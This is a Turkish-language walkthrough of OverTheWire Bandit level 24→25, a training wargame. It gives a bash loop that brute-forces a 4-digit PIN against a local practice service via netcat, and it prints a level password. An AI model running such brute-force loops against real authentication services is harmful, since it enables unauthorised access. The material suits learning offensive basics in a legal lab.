← Ana Sayfaya Dön

OverTheWire Bandit: Seviye 24 → Seviye 25

Teknik Not

Bağlam

Bir servis 30002 portunda çalışıyor ve bizden iki şey istiyor:

  1. Bandit 24’ün şifresi.
  2. Gizli bir 4 haneli PIN kodu.

PIN kodunu bulmanın bir yolu yok, tek çare 0000’dan 9999’a kadar hepsini denemek. Buna Brute-Force (Kaba Kuvvet) saldırısı denir.

İpucu: “Her seferinde yeni bir bağlantı oluşturmanıza gerek yok.” Yani tüm denemeleri tek bir bağlantı üzerinden arka arkaya gönderebiliriz.

Çözüm

Adım 1: Strateji

Elle 10.000 tane şifre girmek imkansız. Bir script yazacağız. Scriptimiz şunu yapacak:

  1. Bir döngü ile 0000’dan 9999’a kadar sayıları üretecek.
  2. Her satıra [Şifre] [PIN] formatını basacak.
  3. Bu çıktıyı nc (netcat) komutuna “pipe” (|) ile gönderecek.

Adım 2: Scripti Hazırla

Önce güvenli bir klasöre geçelim:

mkdir -p /tmp/banabul
cd /tmp/banabul
nano kirici.sh

Script İçeriği:

#!/bin/bash

# Bandit 24 şifresi
PASS="iCeGdTE7FqfRMCw5lhC05b2x0qX3hZU"

# {0000..9999} bash'in sayı üretme özelliğidir.
for i in {0000..9999}
do
    echo "$PASS $i"
done

Kaydedip çıkın (Ctrl+O, Enter, Ctrl+X).

Scriptin çalışabilmesi için mutlaka yetki verin:

chmod +x kirici.sh

Adım 3: Saldırıyı Başlat

Şimdi scriptin çıktısını doğrudan ağ bağlantısına yönlendirelim. Binlerce satır “Wrong! Please enter the correct pincode” yazısı göreceğiz. Doğru olanı bulmak için grep kullanalım.

grep -v "Wrong" komutu, içinde “Wrong” (Yanlış) geçmeyen satırları gösterir. Yani sadece doğru cevabı!

./kirici.sh | nc localhost 30002 | grep -v "Wrong"

Birkaç saniye içinde pin kodunu deneyecek ve sadece doğru olan satırı (şifreyi) ekrana basacaktır.

Adım 4: Şifreyi Kaydet

Çıktıda Correct! yazısını ve Bandit 25’in şifresini göreceksiniz. Onu not edin.

Öğrendiklerimiz

  1. Brute-Force: Olası tüm kombinasyonları deneyerek şifre kırma yöntemi.
  2. Bash Range Expansion: {0000..9999} sözdizimi ile sayı serileri oluşturma.
  3. Pipelining: Bir programın çıktısını (binlerce satır şifre denemesi) başka bir programa (nc) girdi olarak verme. Bu yöntem, her deneme için ayrı bağlantı açmaktan (nc’yi 10.000 kere çağırmaktan) çok daha hızlıdır.